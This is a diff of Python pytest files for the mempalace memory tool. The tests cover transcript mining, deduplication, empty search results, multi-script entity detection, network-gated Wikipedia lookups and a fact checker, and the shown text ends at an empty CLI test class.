@@ -75,3 +75,86 @@ def test_mine_convos_does_not_reprocess_empty_chunk_files(capsys):
assert "Files skipped (already filed): 1" in out2
finally:
shutil.rmtree(tmpdir, ignore_errors=True)
def test_mine_convos_rebuilds_stale_drawers_after_schema_bump(capsys):
"""When stored drawers have an older normalize_version, the next mine
silently purges them and refiles — no manual erase required.
This is what makes the strip_noise upgrade apply to existing corpora:
users just run `mempalace mine` again and old noise-filled drawers get
replaced with clean ones."""
from mempalace.palace import NORMALIZE_VERSION
tmpdir = tempfile.mkdtemp()
try:
convo_path = Path(tmpdir) / "chat.txt"
convo_path.write_text(
"> What is memory?\nMemory is persistence.\n\n"
"> Why does it matter?\nIt enables continuity.\n\n"
"> How do we build it?\nWith structured storage.\n"
)
palace_path = os.path.join(tmpdir, "palace")
# First mine — stamps drawers with NORMALIZE_VERSION
mine_convos(tmpdir, palace_path, wing="test")
capsys.readouterr()
client = chromadb.PersistentClient(path=palace_path)
col = client.get_collection("mempalace_drawers")
resolved = str(Path(tmpdir).resolve() / "chat.txt")
first_pass = col.get(where={"source_file": resolved})
first_ids = set(first_pass["ids"])
assert first_ids, "first mine should produce drawers"
for meta in first_pass["metadatas"]:
assert meta.get("normalize_version") == NORMALIZE_VERSION
# Simulate pre-v2 drawers: rewrite metadata to an older version,
# and replace content with "noise" so we can see it get cleaned up.
stale_metas = []
for meta in first_pass["metadatas"]:
stale = dict(meta)
stale["normalize_version"] = 1
stale_metas.append(stale)
col.update(
ids=list(first_pass["ids"]),
documents=["STALE NOISE"] * len(first_pass["ids"]),
metadatas=stale_metas,
)
# Add an extra orphan drawer that should also be purged.
col.add(
ids=["orphan_drawer"],
documents=["OLD ORPHAN"],
metadatas=[
{
"wing": "test",
"room": "default",
"source_file": resolved,
"chunk_index": 999,
"normalize_version": 1,
}
],
)
del col, client
# Second mine — version gate should trigger rebuild
mine_convos(tmpdir, palace_path, wing="test")
out = capsys.readouterr().out
assert (
"Files skipped (already filed): 0" in out
), "stale drawers should force a rebuild, not a skip"
client = chromadb.PersistentClient(path=palace_path)
col = client.get_collection("mempalace_drawers")
rebuilt = col.get(where={"source_file": resolved})
# Orphan is gone
assert "orphan_drawer" not in rebuilt["ids"]
# No stale content survived
assert all("STALE NOISE" not in d for d in rebuilt["documents"])
assert all("OLD ORPHAN" not in d for d in rebuilt["documents"])
# All rebuilt drawers carry the current version
for meta in rebuilt["metadatas"]:
assert meta.get("normalize_version") == NORMALIZE_VERSION
del col, client
finally:
shutil.rmtree(tmpdir, ignore_errors=True)
+31
View File
@@ -0,0 +1,31 @@
"""TDD: convo_miner.py must not silently drop transcripts larger than 10 MB.
Mirrors the miner.py fix shipped in the same PR family (see
test_miner_jsonl_visibility.py). Long Claude Code sessions, ChatGPT
exports, and multi-year Slack dumps routinely exceed 10 MB. The cap
silently `continue`s past them at convo_miner.py:~289, same silent-drop
pattern as the project miner's.
Written BEFORE the fix.
"""
from mempalace.convo_miner import MAX_FILE_SIZE
class TestConvoMinerSizeCap:
def test_max_file_size_accommodates_long_transcripts(self):
"""The cap must be well above any realistic transcript.
Long sessions and lifetime exports exceed 10 MB. The cap exists
as a sanity rail against pathological binaries, not as a limit
on legitimate text — downstream chunking means source size does
not matter for storage or embedding cost.
"""
assert MAX_FILE_SIZE >= 100 * 1024 * 1024, (
f"convo_miner.MAX_FILE_SIZE is {MAX_FILE_SIZE} bytes "
f"({MAX_FILE_SIZE / 1024 / 1024:.0f} MB). Same silent-drop "
"bug as miner.py's old 10 MB cap — long transcripts get "
"filtered out at convo_miner.py:~289 with `continue`. "
"Raise to at least 100 MB (match miner.py at 500 MB for "
"consistency across both miners)."
)
+19 -20
View File
@@ -198,8 +198,15 @@ def test_dedup_source_group_query_failure_keeps():
# ── show_stats ────────────────────────────────────────────────────────
@patch("mempalace.dedup.chromadb")
def test_show_stats(mock_chromadb, tmp_path):
def _install_mock_backend(mock_backend_cls, collection):
mock_backend = MagicMock()
mock_backend.get_collection.return_value = collection
mock_backend_cls.return_value = mock_backend
return mock_backend
@patch("mempalace.dedup.ChromaBackend")
def test_show_stats(mock_backend_cls, tmp_path):
mock_col = MagicMock()
mock_col.count.return_value = 5
mock_col.get.side_effect = [
@@ -215,9 +222,7 @@ def test_show_stats(mock_chromadb, tmp_path):
},
{"ids": []},
]
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_chromadb.PersistentClient.return_value = mock_client
_install_mock_backend(mock_backend_cls, mock_col)
dedup.show_stats(palace_path=str(tmp_path)) # should not raise
@@ -227,13 +232,11 @@ def test_show_stats(mock_chromadb, tmp_path):
@patch("mempalace.dedup.dedup_source_group")
@patch("mempalace.dedup.get_source_groups")
@patch("mempalace.dedup.chromadb")
def test_dedup_palace_dry_run(mock_chromadb, mock_groups, mock_dedup_group, tmp_path):
@patch("mempalace.dedup.ChromaBackend")
def test_dedup_palace_dry_run(mock_backend_cls, mock_groups, mock_dedup_group, tmp_path):
mock_col = MagicMock()
mock_col.count.return_value = 10
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_chromadb.PersistentClient.return_value = mock_client
_install_mock_backend(mock_backend_cls, mock_col)
mock_groups.return_value = {"a.txt": ["d1", "d2", "d3", "d4", "d5"]}
mock_dedup_group.return_value = (["d1", "d2", "d3"], ["d4", "d5"])
@@ -244,13 +247,11 @@ def test_dedup_palace_dry_run(mock_chromadb, mock_groups, mock_dedup_group, tmp_
@patch("mempalace.dedup.dedup_source_group")
@patch("mempalace.dedup.get_source_groups")
@patch("mempalace.dedup.chromadb")
def test_dedup_palace_with_wing(mock_chromadb, mock_groups, mock_dedup_group, tmp_path):
@patch("mempalace.dedup.ChromaBackend")
def test_dedup_palace_with_wing(mock_backend_cls, mock_groups, mock_dedup_group, tmp_path):
mock_col = MagicMock()
mock_col.count.return_value = 10
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_chromadb.PersistentClient.return_value = mock_client
_install_mock_backend(mock_backend_cls, mock_col)
mock_groups.return_value = {}
dedup.dedup_palace(palace_path=str(tmp_path), wing="test_wing", dry_run=True)
@@ -259,13 +260,11 @@ def test_dedup_palace_with_wing(mock_chromadb, mock_groups, mock_dedup_group, tm
@patch("mempalace.dedup.dedup_source_group")
@patch("mempalace.dedup.get_source_groups")
@patch("mempalace.dedup.chromadb")
def test_dedup_palace_no_groups(mock_chromadb, mock_groups, mock_dedup_group, tmp_path):
@patch("mempalace.dedup.ChromaBackend")
def test_dedup_palace_no_groups(mock_backend_cls, mock_groups, mock_dedup_group, tmp_path):
mock_col = MagicMock()
mock_col.count.return_value = 3
mock_client = MagicMock()
mock_client.get_collection.return_value = mock_col
mock_chromadb.PersistentClient.return_value = mock_client
_install_mock_backend(mock_backend_cls, mock_col)
mock_groups.return_value = {}
dedup.dedup_palace(palace_path=str(tmp_path), dry_run=True)
+48
View File
@@ -0,0 +1,48 @@
"""Regression tests for issue #195 — IndexError on empty ChromaDB results.
Before the fix, `searcher.search()`, `searcher.search_memories()`, and
`Layer3.search()` indexed `results["documents"][0]` without checking the
outer list, so a query against an empty collection (or a wing/room
filter that excluded everything) crashed with IndexError instead of
returning a graceful "no results" response.
"""
import pytest
from mempalace.searcher import _first_or_empty
def test_first_or_empty_handles_empty_outer_list():
"""The shape ChromaDB returns from an empty collection (issue #195)."""
results = {"documents": [], "metadatas": [], "distances": []}
assert _first_or_empty(results, "documents") == []
assert _first_or_empty(results, "metadatas") == []
assert _first_or_empty(results, "distances") == []
def test_first_or_empty_handles_outer_with_empty_inner():
"""ChromaDB also returns ``{"documents": [[]]}`` in some versions —
must yield [] either way."""
assert _first_or_empty({"documents": [[]]}, "documents") == []
def test_first_or_empty_handles_missing_key():
assert _first_or_empty({}, "documents") == []
def test_first_or_empty_handles_none_inner():
"""``[None]`` (unusual but observed) must not blow up."""
assert _first_or_empty({"documents": [None]}, "documents") == []
def test_first_or_empty_returns_inner_list_for_normal_result():
results = {"documents": [["a", "b", "c"]]}
assert _first_or_empty(results, "documents") == ["a", "b", "c"]
def test_raw_indexing_still_raises_to_document_the_bug():
"""Document the original failure mode so future readers understand
why _first_or_empty exists."""
results = {"documents": []}
with pytest.raises(IndexError):
_ = results["documents"][0]
+283
View File
@@ -1,6 +1,9 @@
"""Tests for mempalace.entity_detector."""
import contextlib
import json
import os
from pathlib import Path
from unittest.mock import patch
from mempalace.entity_detector import (
@@ -378,3 +381,283 @@ def test_scan_for_detection_max_files(tmp_path):
(tmp_path / f"note{i}.md").write_text(f"content {i}")
files = scan_for_detection(str(tmp_path), max_files=5)
assert len(files) <= 5
# ── multi-language infra ───────────────────────────────────────────────
@contextlib.contextmanager
def _temp_locale(locale_code: str, entity_section: dict):
"""Context manager that drops a locale JSON into mempalace/i18n/ for the test body.
Cleans up the file and clears every cache that depends on locale data on exit,
even if the test fails or the entity section is invalid.
Note: writes into the real mempalace/i18n/ directory. If a test process is
SIGKILLed mid-test the orphan zz-test-*.json file will break test_all_languages_load
on the next run (the fixture lacks the required terms/cli/aaak sections).
Recover with `rm mempalace/i18n/zz-test-*.json`.
"""
from mempalace import i18n
from mempalace import entity_detector
locale_path = Path(i18n.__file__).parent / f"{locale_code}.json"
if locale_path.exists():
raise RuntimeError(f"Test locale {locale_code} collides with an existing file")
payload = {
"lang": locale_code,
"label": locale_code,
"terms": {},
"cli": {},
"aaak": {"instruction": "test"},
"entity": entity_section,
}
locale_path.write_text(json.dumps(payload), encoding="utf-8")
def _clear_caches():
i18n._entity_cache.clear()
entity_detector._build_patterns.cache_clear()
entity_detector._pronoun_re.cache_clear()
entity_detector._get_stopwords.cache_clear()
_clear_caches()
try:
yield locale_path
finally:
try:
locale_path.unlink()
except OSError:
pass
_clear_caches()
def test_extract_candidates_default_languages_is_english_only():
"""Default languages tuple = ('en',) — accented names dropped (as today)."""
text = "João said hi. João laughed. João waved. João decided."
result = extract_candidates(text) # default ("en",)
assert "João" not in result
def test_extract_candidates_with_extra_locale_picks_up_new_charset():
"""A locale with a Latin+diacritics candidate_pattern catches accented names."""
locale = {
"candidate_pattern": "[A-ZÀ-Ú][a-zà-ÿ]{1,19}",
"multi_word_pattern": "[A-ZÀ-Ú][a-zà-ÿ]+(?:\\s+[A-ZÀ-Ú][a-zà-ÿ]+)+",
"person_verb_patterns": [],
"pronoun_patterns": [],
"dialogue_patterns": [],
"project_verb_patterns": [],
"stopwords": [],
}
with _temp_locale("zz-test-latin", locale):
text = "João said hi. João laughed. João waved. João decided."
result = extract_candidates(text, languages=("en", "zz-test-latin"))
assert "João" in result
assert result["João"] >= 3
def test_extract_candidates_with_cyrillic_locale():
"""A locale with a Cyrillic candidate_pattern catches Russian names."""
locale = {
"candidate_pattern": "[А-ЯЁ][а-яё]{1,19}",
"multi_word_pattern": "[А-ЯЁ][а-яё]+(?:\\s+[А-ЯЁ][а-яё]+)+",
"person_verb_patterns": [],
"pronoun_patterns": [],
"dialogue_patterns": [],
"project_verb_patterns": [],
"stopwords": [],
}
with _temp_locale("zz-test-cyrillic", locale):
text = "Иван сказал привет. Иван засмеялся. Иван помахал. Иван решил."
result = extract_candidates(text, languages=("en", "zz-test-cyrillic"))
assert "Иван" in result
def test_score_entity_unions_person_verbs_across_languages():
"""A non-English person-verb pattern fires when its locale is enabled."""
locale = {
"candidate_pattern": "[A-Z][a-z]{1,19}",
"multi_word_pattern": "[A-Z][a-z]+(?:\\s+[A-Z][a-z]+)+",
"person_verb_patterns": [
"\\b{name}\\s+disse\\b",
"\\b{name}\\s+falou\\b",
"\\b{name}\\s+riu\\b",
],
"pronoun_patterns": [],
"dialogue_patterns": [],
"project_verb_patterns": [],
"stopwords": [],
}
with _temp_locale("zz-test-verbs", locale):
text = "Maria disse oi. Maria falou. Maria riu."
lines = text.splitlines()
en_only = score_entity("Maria", text, lines, languages=("en",))
multi = score_entity("Maria", text, lines, languages=("en", "zz-test-verbs"))
assert multi["person_score"] > en_only["person_score"]
assert any("action" in s for s in multi["person_signals"])
def test_get_entity_patterns_unknown_lang_falls_back_to_english():
"""Asking for a non-existent language returns English defaults."""
from mempalace.i18n import get_entity_patterns
patterns = get_entity_patterns(("zz-does-not-exist",))
assert len(patterns["stopwords"]) > 0
assert patterns["candidate_patterns"] # English fallback
def test_get_entity_patterns_dedupes_across_overlapping_languages():
"""Loading ('en', 'en') doesn't double-count patterns or stopwords."""
from mempalace.i18n import get_entity_patterns
single = get_entity_patterns(("en",))
doubled = get_entity_patterns(("en", "en"))
assert len(doubled["person_verb_patterns"]) == len(single["person_verb_patterns"])
assert len(doubled["stopwords"]) == len(single["stopwords"])
def test_build_patterns_cache_is_keyed_by_language():
"""Same name with different language tuples yields different compiled sets."""
from mempalace.entity_detector import _build_patterns
locale = {
"candidate_pattern": "[A-Z][a-z]+",
"multi_word_pattern": "[A-Z][a-z]+(?:\\s+[A-Z][a-z]+)+",
"person_verb_patterns": ["\\b{name}\\s+ranxx\\b"],
"pronoun_patterns": [],
"dialogue_patterns": [],
"project_verb_patterns": [],
"stopwords": [],
}
with _temp_locale("zz-test-cache", locale):
en_patterns = _build_patterns("Sam", ("en",))
multi_patterns = _build_patterns("Sam", ("en", "zz-test-cache"))
assert len(multi_patterns["person_verbs"]) > len(en_patterns["person_verbs"])
def test_normalize_langs_handles_string_input():
"""Passing a bare string instead of a tuple still works."""
from mempalace.entity_detector import _normalize_langs
assert _normalize_langs("en") == ("en",)
assert _normalize_langs(["en", "pt-br"]) == ("en", "pt-br")
assert _normalize_langs(None) == ("en",)
assert _normalize_langs(()) == ("en",)
def test_config_entity_languages_defaults_to_english(tmp_path, monkeypatch):
"""MempalaceConfig.entity_languages defaults to ['en'] with no config file."""
from mempalace.config import MempalaceConfig
monkeypatch.delenv("MEMPALACE_ENTITY_LANGUAGES", raising=False)
monkeypatch.delenv("MEMPAL_ENTITY_LANGUAGES", raising=False)
cfg = MempalaceConfig(config_dir=str(tmp_path))
assert cfg.entity_languages == ["en"]
def test_config_entity_languages_from_env(tmp_path, monkeypatch):
"""Env var overrides config file."""
from mempalace.config import MempalaceConfig
monkeypatch.setenv("MEMPALACE_ENTITY_LANGUAGES", "en,pt-br,ru")
cfg = MempalaceConfig(config_dir=str(tmp_path))
assert cfg.entity_languages == ["en", "pt-br", "ru"]
def test_config_set_entity_languages_persists(tmp_path, monkeypatch):
"""set_entity_languages writes to disk and is read back."""
from mempalace.config import MempalaceConfig
monkeypatch.delenv("MEMPALACE_ENTITY_LANGUAGES", raising=False)
monkeypatch.delenv("MEMPAL_ENTITY_LANGUAGES", raising=False)
cfg = MempalaceConfig(config_dir=str(tmp_path))
cfg.set_entity_languages(["en", "pt-br"])
cfg2 = MempalaceConfig(config_dir=str(tmp_path))
assert cfg2.entity_languages == ["en", "pt-br"]
def test_config_set_entity_languages_empty_falls_back_to_english(tmp_path, monkeypatch):
"""An empty list normalizes to ['en']."""
from mempalace.config import MempalaceConfig
monkeypatch.delenv("MEMPALACE_ENTITY_LANGUAGES", raising=False)
monkeypatch.delenv("MEMPAL_ENTITY_LANGUAGES", raising=False)
cfg = MempalaceConfig(config_dir=str(tmp_path))
result = cfg.set_entity_languages([])
assert result == ["en"]
assert cfg.entity_languages == ["en"]
# ── boundary_chars for combining-mark scripts ─────────────────────────
# Devanagari vowel signs (matras) are Unicode Mc — not matched by \w.
# Without boundary_chars, \b truncates names like अनीता → अनीत and
# person_verb patterns never fire. With boundary_chars, the i18n loader
# replaces \b with a script-aware lookaround, fixing both.
_DEVANAGARI_ENTITY = {
"boundary_chars": "\\w\\u0900-\\u097F",
"candidate_pattern": "[\\u0900-\\u097F]{2,20}",
"multi_word_pattern": "[\\u0900-\\u097F]+(?:\\s+[\\u0900-\\u097F]+)+",
"person_verb_patterns": [
"\\b{name}\\s+ने\\s+कहा\\b",
"\\b{name}\\s+हँसा\\b",
],
"pronoun_patterns": ["\\bवह\\b", "\\bउसने\\b"],
"dialogue_patterns": ["^{name}:\\s"],
"direct_address_pattern": "\\bनमस्ते\\s+{name}\\b",
"project_verb_patterns": [],
"stopwords": ["यह", "वह", "और", "का", "के", "की"],
}
def test_devanagari_candidate_extraction_with_boundary_chars():
"""Names ending in matras are extracted in full with boundary_chars."""
with _temp_locale("zz-test-hindi", _DEVANAGARI_ENTITY):
text = "अनीता ने कहा। अनीता हँसा। अनीता सोचा। अनीता बोला।"
result = extract_candidates(text, languages=("en", "zz-test-hindi"))
assert "अनीता" in result, f"expected अनीता in {result}"
assert result["अनीता"] >= 3
def test_devanagari_candidate_without_boundary_chars_truncates():
"""Without boundary_chars, a matra-ending name gets truncated."""
locale_no_boundary = dict(_DEVANAGARI_ENTITY)
del locale_no_boundary["boundary_chars"]
with _temp_locale("zz-test-hindi-no-b", locale_no_boundary):
text = "अनीता ने कहा। अनीता हँसा। अनीता सोचा।"
result = extract_candidates(text, languages=("en", "zz-test-hindi-no-b"))
# Without boundary_chars, \b splits on the matra — full name won't appear
assert "अनीता" not in result
def test_devanagari_person_verb_fires_with_boundary_chars():
"""Hindi person-verb patterns fire when boundary_chars extends \\b."""
with _temp_locale("zz-test-hindi", _DEVANAGARI_ENTITY):
text = "राज ने कहा कुछ। राज हँसा।"
lines = text.splitlines()
scores = score_entity("राज", text, lines, languages=("en", "zz-test-hindi"))
assert scores["person_score"] > 0, f"expected person_score > 0, got {scores}"
assert any("action" in s for s in scores["person_signals"])
def test_devanagari_person_verb_silent_without_boundary_chars():
"""Without boundary_chars, Hindi person verbs don't fire."""
locale_no_boundary = dict(_DEVANAGARI_ENTITY)
del locale_no_boundary["boundary_chars"]
with _temp_locale("zz-test-hindi-no-b", locale_no_boundary):
text = "राज ने कहा कुछ। राज हँसा।"
lines = text.splitlines()
scores = score_entity("राज", text, lines, languages=("en", "zz-test-hindi-no-b"))
assert scores["person_score"] == 0
def test_boundary_chars_english_regression():
"""English patterns (no boundary_chars) still work identically."""
text = "Riley said hello. Riley laughed. Riley smiled. Riley waved."
result = extract_candidates(text, languages=("en",))
assert "Riley" in result
assert result["Riley"] >= 3
+78 -18
View File
@@ -8,6 +8,14 @@ from mempalace.entity_registry import (
EntityRegistry,
)
# Shared mock result for Wikipedia person lookup tests
_MOCK_SAOIRSE_PERSON = {
"inferred_type": "person",
"confidence": 0.80,
"wiki_summary": "Saoirse is an Irish given name.",
"wiki_title": "Saoirse",
}
# ── COMMON_ENGLISH_WORDS ────────────────────────────────────────────────
@@ -213,22 +221,49 @@ def test_lookup_ambiguous_word_as_concept(tmp_path):
assert result["type"] == "concept"
# ── research (Wikipedia) — mocked ──────────────────────────────────────
# ── research — local-only by default ───────────────────────────────────
def test_research_caches_result(tmp_path):
def test_research_local_only_by_default(tmp_path):
"""research() must NOT call Wikipedia unless allow_network=True."""
registry = EntityRegistry.load(config_dir=tmp_path)
registry.seed(mode="personal", people=[], projects=[])
mock_result = {
"inferred_type": "person",
"confidence": 0.80,
"wiki_summary": "Saoirse is an Irish given name.",
"wiki_title": "Saoirse",
}
with patch(
"mempalace.entity_registry._wikipedia_lookup",
side_effect=AssertionError("network call should not happen"),
):
result = registry.research("Saoirse")
with patch("mempalace.entity_registry._wikipedia_lookup", return_value=mock_result):
result = registry.research("Saoirse", auto_confirm=True)
assert result["inferred_type"] == "unknown"
assert result["confidence"] == 0.0
assert result["word"] == "Saoirse"
assert "network lookup disabled" in result.get("note", "")
def test_research_with_allow_network(tmp_path):
"""research(allow_network=True) calls Wikipedia and caches result."""
registry = EntityRegistry.load(config_dir=tmp_path)
registry.seed(mode="personal", people=[], projects=[])
with patch(
"mempalace.entity_registry._wikipedia_lookup",
return_value=dict(_MOCK_SAOIRSE_PERSON),
):
result = registry.research("Saoirse", auto_confirm=True, allow_network=True)
assert result["inferred_type"] == "person"
def test_research_caches_result(tmp_path):
"""Once cached via allow_network, subsequent calls use cache without network."""
registry = EntityRegistry.load(config_dir=tmp_path)
registry.seed(mode="personal", people=[], projects=[])
with patch(
"mempalace.entity_registry._wikipedia_lookup",
return_value=dict(_MOCK_SAOIRSE_PERSON),
):
result = registry.research("Saoirse", auto_confirm=True, allow_network=True)
assert result["inferred_type"] == "person"
# Second call should use cache, not call Wikipedia again
@@ -240,24 +275,49 @@ def test_research_caches_result(tmp_path):
assert cached["inferred_type"] == "person"
def test_research_local_only_not_cached(tmp_path):
"""Local-only result for uncached word should NOT be persisted to cache."""
registry = EntityRegistry.load(config_dir=tmp_path)
registry.seed(mode="personal", people=[], projects=[])
registry.research("Xander") # local-only, no network
assert "Xander" not in registry._data.get("wiki_cache", {})
def test_confirm_research_adds_to_people(tmp_path):
registry = EntityRegistry.load(config_dir=tmp_path)
registry.seed(mode="personal", people=[], projects=[])
mock_result = {
"inferred_type": "person",
"confidence": 0.80,
"wiki_summary": "Saoirse is a name",
"wiki_title": "Saoirse",
}
with patch("mempalace.entity_registry._wikipedia_lookup", return_value=mock_result):
registry.research("Saoirse", auto_confirm=False)
with patch(
"mempalace.entity_registry._wikipedia_lookup",
return_value=dict(_MOCK_SAOIRSE_PERSON),
):
registry.research("Saoirse", auto_confirm=False, allow_network=True)
registry.confirm_research("Saoirse", entity_type="person", relationship="friend")
assert "Saoirse" in registry.people
assert registry.people["Saoirse"]["source"] == "wiki"
def test_wikipedia_404_returns_unknown(tmp_path):
"""A 404 from Wikipedia should return 'unknown', not assert 'person'."""
registry = EntityRegistry.load(config_dir=tmp_path)
registry.seed(mode="personal", people=[], projects=[])
mock_result = {
"inferred_type": "unknown",
"confidence": 0.3,
"wiki_summary": None,
"wiki_title": None,
"note": "not found in Wikipedia",
}
with patch("mempalace.entity_registry._wikipedia_lookup", return_value=mock_result):
result = registry.research("Zzxqy", auto_confirm=False, allow_network=True)
assert result["inferred_type"] == "unknown"
assert result["confidence"] < 0.5
# ── extract_people_from_query ───────────────────────────────────────────
+288
View File
@@ -0,0 +1,288 @@
"""
test_fact_checker.py — Regression + integration tests for fact_checker.
Covers every detection path + the three bugs the original PR silently
hid behind ``except Exception: pass``:
* ``kg.query()`` doesn't exist — code must use ``query_entity``.
* ``KnowledgeGraph(palace_path=...)`` is not a valid kwarg — code
must pass ``db_path``.
* O(n²) edit-distance over the full registry — must filter to names
actually mentioned in the text.
Also pins the three feature contracts:
* similar_name — "Mila" vs "Milla" in a registry with both.
* relationship_mismatch — "Bob is Alice's brother" vs KG "husband".
* stale_fact — claim matches a triple whose valid_to is in the past.
"""
from __future__ import annotations
import json
from unittest.mock import MagicMock, patch
import pytest
from mempalace.fact_checker import (
_check_entity_confusion,
_edit_distance,
_extract_claims,
_flatten_names,
check_text,
)
from mempalace.knowledge_graph import KnowledgeGraph
# ── claim extraction ─────────────────────────────────────────────────
class TestExtractClaims:
def test_parses_x_is_ys_z(self):
claims = _extract_claims("Bob is Alice's brother")
assert len(claims) == 1
assert claims[0] == {
"subject": "Bob",
"predicate": "brother",
"object": "Alice",
"span": "Bob is Alice's brother",
}
def test_parses_xs_z_is_y(self):
claims = _extract_claims("Alice's brother is Bob")
assert len(claims) == 1
assert claims[0]["subject"] == "Bob"
assert claims[0]["predicate"] == "brother"
assert claims[0]["object"] == "Alice"
def test_ignores_sentences_without_possessive_role(self):
assert _extract_claims("Bob drove to the store today") == []
assert _extract_claims("Just some prose without relationships") == []
def test_multiple_claims_in_one_text(self):
claims = _extract_claims("Bob is Alice's brother. Carol is Dave's sister.")
subjects = {c["subject"] for c in claims}
assert subjects == {"Bob", "Carol"}
# ── entity confusion ─────────────────────────────────────────────────
class TestEntityConfusion:
def test_flags_near_name_when_only_one_mentioned(self):
registry = {"people": ["Milla", "Mila"]}
issues = _check_entity_confusion("I spoke with Mila today.", registry)
# "Mila" mentioned, "Milla" not — registry has both at edit-distance 1,
# flag the possible confusion.
assert len(issues) == 1
assert issues[0]["type"] == "similar_name"
assert set(issues[0]["names"]) == {"Mila", "Milla"}
assert issues[0]["distance"] == 1
def test_no_false_positive_when_both_names_mentioned(self):
"""Regression: a text discussing both Mila and Milla is fine —
the user clearly knows they're different. Don't nag."""
registry = {"people": ["Milla", "Mila"]}
issues = _check_entity_confusion("Mila and Milla met for lunch.", registry)
assert issues == []
def test_no_issues_when_registry_empty(self):
assert _check_entity_confusion("Bob said hi", {}) == []
assert _check_entity_confusion("Bob said hi", {"people": []}) == []
def test_no_issues_when_no_mentioned_names(self):
registry = {"people": ["Zelda", "Link", "Sheik"]}
assert _check_entity_confusion("nothing relevant here", registry) == []
def test_registry_dict_shape_is_supported(self):
# Some registries store {"people": {"Alice": {...meta}}}; we still
# need to surface the keys as candidate names.
registry = {"people": {"Milla": {"role": "creator"}, "Mila": {}}}
issues = _check_entity_confusion("I messaged Mila yesterday", registry)
assert any("Milla" in (i["names"] or []) for i in issues)
class TestEditDistance:
def test_basic_distances(self):
assert _edit_distance("kitten", "sitting") == 3
assert _edit_distance("mila", "milla") == 1
assert _edit_distance("abc", "abc") == 0
def test_empty_strings(self):
assert _edit_distance("", "") == 0
assert _edit_distance("abc", "") == 3
assert _edit_distance("", "abc") == 3
def test_performance_bounded_by_mentioned_names(self):
"""Regression: an earlier implementation did O(n²) pairwise
edit-distance over every registry entry on every check_text call.
With 100 names and zero mentions, the call must return in a blink
because no edit-distance comparison should even start."""
import time
# 500 random names, none of which appear in the text.
registry = {"people": [f"Zelda{i:03d}" for i in range(500)]}
text = "completely irrelevant prose with no registered names at all"
start = time.perf_counter()
issues = _check_entity_confusion(text, registry)
elapsed = time.perf_counter() - start
assert issues == []
# Even an unoptimized implementation should beat this by orders
# of magnitude once we've filtered to mentioned names (which is
# 0 here) — if it's still doing O(n²), we'll blow past.
assert elapsed < 0.2, f"entity confusion took {elapsed:.3f}s on empty mentions"
# ── _flatten_names helper ────────────────────────────────────────────
class TestFlattenNames:
def test_handles_list_categories(self):
assert _flatten_names({"people": ["Ada", "Bob"]}) == {"Ada", "Bob"}
def test_handles_dict_categories(self):
assert _flatten_names({"people": {"Ada": {}, "Bob": {}}}) == {"Ada", "Bob"}
def test_skips_falsy_entries(self):
assert _flatten_names({"people": ["Ada", "", None, "Bob"]}) == {"Ada", "Bob"}
# ── KG integration (uses a real tmp SQLite palace) ───────────────────
@pytest.fixture
def palace_with_kg(tmp_path):
"""Palace directory with a real KG pre-seeded with a few triples.
The KG file lives at ``<palace>/knowledge_graph.sqlite3`` — same
convention used by the MCP server. Fact-checker must find it via
that path, not via a bogus ``palace_path`` kwarg.
"""
palace = tmp_path / "palace"
palace.mkdir()
db = str(palace / "knowledge_graph.sqlite3")
kg = KnowledgeGraph(db_path=db)
yield palace, kg
class TestKGContradictions:
def test_kg_init_uses_db_path_not_palace_path_kwarg(self):
"""Regression: the original code passed ``palace_path=`` to a
constructor whose only kwarg is ``db_path``. That raised
TypeError — silently swallowed — and the KG path became dead
code. This test pins the correct call signature."""
# Simply construct via the correct signature; raising means the
# KG constructor has changed in a way that fact_checker must too.
kg = KnowledgeGraph(db_path=":memory:")
# query_entity must exist (this is the method fact_checker calls).
assert callable(getattr(kg, "query_entity", None))
# The API that fact_checker used to call does NOT exist.
assert not hasattr(kg, "query")
def test_relationship_mismatch_detected(self, palace_with_kg):
"""The feature's headline example: text says brother, KG says husband."""
palace, kg = palace_with_kg
kg.add_triple("Bob", "husband_of", "Alice", valid_from="2020-01-01")
issues = check_text("Bob is Alice's husband_of", str(palace))
# Exact-predicate + same object → no mismatch.
assert all(i["type"] != "relationship_mismatch" for i in issues)
issues = check_text("Bob is Alice's brother", str(palace))
mismatches = [i for i in issues if i["type"] == "relationship_mismatch"]
assert mismatches, "should flag text/KG mismatch for same (subject, object)"
m = mismatches[0]
assert m["entity"] == "Bob"
assert m["claim"]["predicate"] == "brother"
assert m["kg_fact"]["predicate"] == "husband_of"
def test_no_false_positive_when_kg_has_no_facts_about_subject(self, palace_with_kg):
palace, _ = palace_with_kg
# KG is empty → no mismatch should fire.
assert check_text("Bob is Alice's brother", str(palace)) == []
def test_stale_fact_detected(self, palace_with_kg):
palace, kg = palace_with_kg
# An old relationship that was superseded in 2023. Using a
# possessive-shape claim so the narrow claim-extraction regex
# actually reaches the stale-fact branch.
kg.add_triple(
"Bob",
"brother",
"Alice",
valid_from="2010-01-01",
valid_to="2023-06-01",
)
issues = check_text("Bob is Alice's brother", str(palace))
stale = [i for i in issues if i["type"] == "stale_fact"]
assert stale, "should flag closed-window fact as stale"
assert stale[0]["entity"] == "Bob"
assert stale[0]["valid_to"].startswith("2023")
def test_current_fact_same_triple_is_not_flagged(self, palace_with_kg):
palace, kg = palace_with_kg
kg.add_triple("Bob", "brother", "Alice", valid_from="2010-01-01")
issues = check_text("Bob is Alice's brother", str(palace))
assert issues == []
def test_missing_palace_does_not_crash(self, tmp_path):
"""Brand-new palace (no KG file yet) — check_text must return []
rather than raising or hanging."""
nonexistent = str(tmp_path / "never_created")
assert check_text("Bob is Alice's brother", nonexistent) == []
# ── end-to-end check_text contract ───────────────────────────────────
class TestCheckTextContract:
def test_empty_text_returns_empty_list(self, tmp_path):
assert check_text("", str(tmp_path / "palace")) == []
def test_registry_confusion_path_isolated_from_kg(self, tmp_path, monkeypatch):
"""If the registry file is present but the KG is missing, the
similar-name path must still fire. Prior implementations had
such entangled state that one failure killed both paths."""
# Bypass the real registry by pointing cache at a temp file.
registry = tmp_path / "known_entities.json"
registry.write_text(json.dumps({"people": ["Milla", "Mila"]}))
from mempalace import miner
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
issues = check_text("Chatted with Mila.", str(tmp_path / "nonexistent_palace"))
assert any(i["type"] == "similar_name" for i in issues)
# ── CLI ──────────────────────────────────────────────────────────────
class TestCLI:
